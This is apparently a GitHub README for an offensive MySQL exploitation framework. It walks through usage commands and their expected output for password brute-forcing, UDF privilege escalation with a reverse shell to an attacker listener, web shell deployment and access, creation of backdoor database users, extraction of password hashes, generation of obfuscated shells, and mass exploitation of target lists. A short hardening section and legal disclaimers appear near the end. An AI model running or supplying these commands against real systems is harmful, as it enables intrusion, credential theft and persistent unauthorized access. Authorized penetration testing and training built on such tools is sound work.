Skip to content

PopLabSec/MySQL-Penetration-Testing

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

4 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

MySQL-Penetration-Testing

License Version Certification Platform

⚠️ LEGAL DISCLAIMER

This tool is designed exclusively for authorized security testing and professional penetration testing engagements. Usage against systems without explicit written permission is strictly prohibited and may violate applicable laws. Users assume full responsibility for legal compliance.

🎯 Framework Overview

This comprehensive MySQL exploitation framework consists of three integrated components:

  1. mysql_tester.py - Security assessment and reconnaissance
  2. mysql_exploiter.py - Automated exploit deployment
  3. mysql_framework.py - Advanced payload generation and mass exploitation

πŸš€ Quick Setup

Prerequisites

# Install required packages
pip3 install pymysql colorama tabulate pycryptodome requests

# Make scripts executable
chmod +x mysql_*.py

# Create workspace
mkdir mysql_pentesting
cd mysql_pentesting

Download Framework

# Place all three Python files in your working directory
ls -la mysql_*.py
# mysql_tester.py
# mysql_exploiter.py  
# mysql_framework.py

πŸ“‹ Phase 1: Initial Assessment

Basic Security Scan

# Quick connection and version detection
python3 mysql_tester.py -t 10.10.178.157 --quick

# Full security assessment with verbose output
python3 mysql_tester.py -t 10.10.178.157 -v

# Custom port and threading
python3 mysql_tester.py -t 10.10.178.157 -p 3307 -T 20

Credential Testing

# Test specific user with password list
python3 mysql_tester.py -t 10.10.178.157 -u root -P rockyou.txt

# Custom wordlists
python3 mysql_tester.py -t 10.10.178.157 -U users.txt -P passwords.txt

# Quick authentication test
python3 mysql_tester.py -t 10.10.178.157 -u root -p password123

Expected Output

[+] Port 3306 is open
[+] MySQL handshake received
[+] Server version: 5.5.5-10.4.28-MariaDB
[+] Authentication successful: root:(empty)
[+] Found 4 databases
[+] Found 3 MySQL users
[+] Can read /etc/passwd
[!] File write successful - potential security risk!

βš”οΈ Phase 2: Exploitation Deployment

UDF Privilege Escalation

# Deploy UDF with command execution
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --udf

# UDF with reverse shell
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --udf --reverse --lhost 10.10.14.1 --lport 4444

# Set up listener first:
# nc -lvnp 4444

Web Shell Deployment

# Deploy web shells to common paths
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --webshell

# Custom web root
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --webshell --webroot /var/www/html

# Access deployed shells:
# http://10.10.178.157/config.php?cmd=id

Complete Exploitation

# Deploy all exploitation methods
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --all --lhost 10.10.14.1

# Targeted exploitation
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --udf --backdoor --credentials

# With cleanup
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --all --cleanup

Expected Results

[+] UDF library uploaded successfully
[+] Created UDF function: sys_exec
[+] Command execution successful: id
[+] Web shell deployed: /var/www/html/config.php
[+] Backdoor user created: bkuser123:SecretPass789
[+] Extracted 3 password hashes
[+] Created scheduled event: maint_job_1234

πŸ› οΈ Phase 3: Advanced Payload Generation

UDF Compilation

# Generate UDF source for Linux
python3 mysql_framework.py --generate-udf --target-os linux

# Windows UDF generation
python3 mysql_framework.py --generate-udf --target-os windows --arch x64

# Generated files:
# mysql_payloads/lib_mysqludf_sys_linux.c
# mysql_payloads/lib_mysqludf_sys.so

Advanced Web Shells

# Generate obfuscated web shells
python3 mysql_framework.py --generate-webshells

# Generated shells:
# mysql_payloads/obfuscated_php.php
# mysql_payloads/encoded_php.php
# mysql_payloads/advanced_aspx.aspx
# mysql_payloads/advanced_jsp.jsp

Reverse Shell Payloads

# Generate platform-specific reverse shells
python3 mysql_framework.py --generate-payloads --lhost 10.10.14.1 --lport 4444

# Generated file:
# mysql_payloads/reverse_shells_10.10.14.1_4444.txt

🏒 Phase 4: Enterprise/Mass Exploitation

Automated Scan and Exploit

# Single target automation
python3 mysql_framework.py --scan-and-exploit -t 10.10.178.157 --lhost 10.10.14.1

# With custom port
python3 mysql_framework.py --scan-and-exploit -t 10.10.178.157 -p 3307 --lhost 10.10.14.1

Mass Exploitation

# Create target list
cat > targets.txt << EOF
10.10.178.157
10.10.178.158:3307
db.company.com
192.168.1.100
EOF

# Mass exploitation with threading
python3 mysql_framework.py --mass-exploit -T targets.txt --lhost 10.10.14.1 --threads 10

# Results saved to:
# mysql_mass_exploit_20240615_143022.json

🎭 Real-World Scenarios

Scenario 1: Internal Network Assessment

# Phase 1: Network discovery (separate nmap scan)
nmap -sS -p 3306 192.168.1.0/24 -oG mysql_hosts.txt

# Phase 2: Extract IPs and test
grep "3306/open" mysql_hosts.txt | awk '{print $2}' > mysql_targets.txt

# Phase 3: Mass assessment
python3 mysql_framework.py --mass-exploit -T mysql_targets.txt --lhost 192.168.1.50 --threads 15

Scenario 2: Web Application Penetration Test

# Phase 1: Test discovered MySQL service
python3 mysql_tester.py -t webapp.company.com -p 3306 -v

# Phase 2: Deploy web shells for persistence
python3 mysql_exploiter.py -t webapp.company.com -u root -p admin123 --webshell --webroot /var/www/html

# Phase 3: Access web shell
curl "http://webapp.company.com/config.php?cmd=whoami"

Scenario 3: Red Team Operation

# Generate custom payloads
python3 mysql_framework.py --generate-udf --target-os linux
python3 mysql_framework.py --generate-webshells

# Deploy with operational security
python3 mysql_exploiter.py -t target.company.com -u service -p P@ssw0rd --udf --persistence --lhost 10.10.14.5 --lport 443

# Maintain access via backdoor user
mysql -u bkuser789 -pRandomPass123 -h target.company.com

πŸ”§ Integration with Other Tools

Metasploit Integration

# Use framework results to populate Metasploit
msfconsole
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 10.10.178.157
set USERNAME root
set PASSWORD password
set SQL "SELECT sys_exec('meterpreter_payload')"
run

Hashcat/John Integration

# Use extracted hashes from framework
python3 mysql_exploiter.py -t 10.10.178.157 -u root -p password --credentials

# Crack with hashcat
hashcat -m 300 mysql_hashes_10.10.178.157_*.txt /usr/share/wordlists/rockyou.txt

# Or with John
john --format=mysql-sha1 mysql_hashes_*.txt

Custom Scripts Integration

#!/usr/bin/env python3
# custom_mysql_exploit.py

from mysql_tester import MySQLTester
from mysql_exploiter import MySQLExploiter

def custom_exploitation_chain(target, username, password):
    # Phase 1: Test and enumerate
    tester = MySQLTester(target, 3306, verbose=True)
    if tester.test_connection():
        connection = tester.test_authentication(username, password)
        if connection:
            databases = tester.enumerate_databases(connection)
            
            # Phase 2: Deploy exploits based on findings
            exploiter = MySQLExploiter(target, 3306, username, password)
            exploiter.connect()
            
            if 'sensitive_db' in databases:
                exploiter.extract_credentials()
                exploiter.deploy_web_shell()
            
            exploiter.disconnect()

# Usage
custom_exploitation_chain('10.10.178.157', 'root', 'password')

πŸ“Š Output Analysis and Reporting

Framework Outputs

mysql_pentesting/
β”œβ”€β”€ mysql_hashes_10.10.178.157_1635789012.txt    # Extracted password hashes
β”œβ”€β”€ mysql_mass_exploit_20240615_143022.json       # Mass exploitation report
β”œβ”€β”€ analysis_hints.md                             # Solution guidelines
β”œβ”€β”€ mysql_payloads/                               # Generated payloads
β”‚   β”œβ”€β”€ lib_mysqludf_sys.so                      # Compiled UDF
β”‚   β”œβ”€β”€ obfuscated_php.php                       # Web shells
β”‚   β”œβ”€β”€ reverse_shells_10.10.14.1_4444.txt       # Reverse shell commands
β”‚   └── ...
└── exploitation_report.json                      # Detailed findings

Parsing Results

# Extract successful targets
jq '.targets[] | select(.exploits | length > 0) | .target' mysql_mass_exploit_*.json

# Get backdoor credentials
jq '.targets[].backdoors[] | "\(.username):\(.password)"' mysql_mass_exploit_*.json

# Count exploitation success rate
jq '.success_rate' mysql_mass_exploit_*.json

πŸ›‘οΈ Defensive Recommendations

Immediate Actions

-- Disable dangerous functions
SET GLOBAL local_infile = 0;
SET GLOBAL secure_file_priv = '/var/lib/mysql-secure';

-- Remove anonymous users
DELETE FROM mysql.user WHERE user = '';

-- Set strong passwords
ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongPassword123!';

-- Remove test databases
DROP DATABASE IF EXISTS test;

Configuration Hardening

# /etc/mysql/my.cnf
[mysqld]
# Disable file operations
local_infile = 0
secure_file_priv = /var/lib/mysql-secure/

# Enable SSL
ssl-cert = /etc/mysql/server-cert.pem
ssl-key = /etc/mysql/server-key.pem

# Logging
general_log = 1
general_log_file = /var/log/mysql/general.log
log_error = /var/log/mysql/error.log

# Network security
bind-address = 127.0.0.1
skip-networking = 1

πŸŽ“ Learning Objectives (Training Context)

For eCPPTv2 Preparation

  • Enumeration: MySQL service discovery and version detection
  • Authentication: Password attack methodologies
  • Exploitation: UDF privilege escalation techniques
  • Post-exploitation: Persistence and lateral movement
  • Cleanup: Responsible testing practices

For CRTP/AD Scenarios

  • Credential harvesting: Extract database passwords for AD attacks
  • Lateral movement: Use MySQL access to compromise domain systems
  • Persistence: Maintain access in enterprise environments

For Corporate Training

  • Risk assessment: Demonstrate real-world MySQL vulnerabilities
  • Defense: Implement effective hardening measures
  • Monitoring: Detect MySQL-based attacks

⚠️ Legal and Ethical Guidelines

Authorized Testing Only

  • βœ… Use only on systems you own or have explicit written permission to test
  • βœ… Follow responsible disclosure for vulnerabilities found
  • βœ… Always clean up after testing
  • βœ… Document all activities for reporting

Prohibited Uses

  • ❌ Unauthorized access to systems
  • ❌ Data theft or destruction
  • ❌ Persistent backdoors in production systems
  • ❌ Any illegal activities

Best Practices

  1. Scope definition - Clearly define testing boundaries
  2. Change management - Coordinate with system administrators
  3. Backup verification - Ensure backups exist before testing
  4. Cleanup verification - Confirm all exploits are removed
  5. Documentation - Maintain detailed testing logs

πŸ”— Integration with Penetration Testing Methodology

PTES (Penetration Testing Execution Standard)

  1. Pre-engagement - Define MySQL testing scope
  2. Intelligence Gathering - Network discovery and service enumeration
  3. Threat Modeling - Identify MySQL attack vectors
  4. Vulnerability Analysis - Run security assessment tools
  5. Exploitation - Deploy MySQL exploits
  6. Post-Exploitation - Maintain access and pivot
  7. Reporting - Document findings and recommendations

OWASP Testing Guide Integration

  • Configuration Management - Test MySQL default configurations
  • Authentication Testing - Verify authentication mechanisms
  • Session Management - Test connection security
  • Input Validation - SQL injection testing (separate tools)
  • Error Handling - Information disclosure through error messages

This framework provides everything needed for comprehensive MySQL security assessment in enterprise penetration testing scenarios. Perfect for your www.pentesting.pt training programs and client engagements!


Framework Author: RFS - Security Research
Certification Context: eCPPTv2, CRTP, ADCS CESP
Training Integration: www.pentesting.pt, www.poplab.agency

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages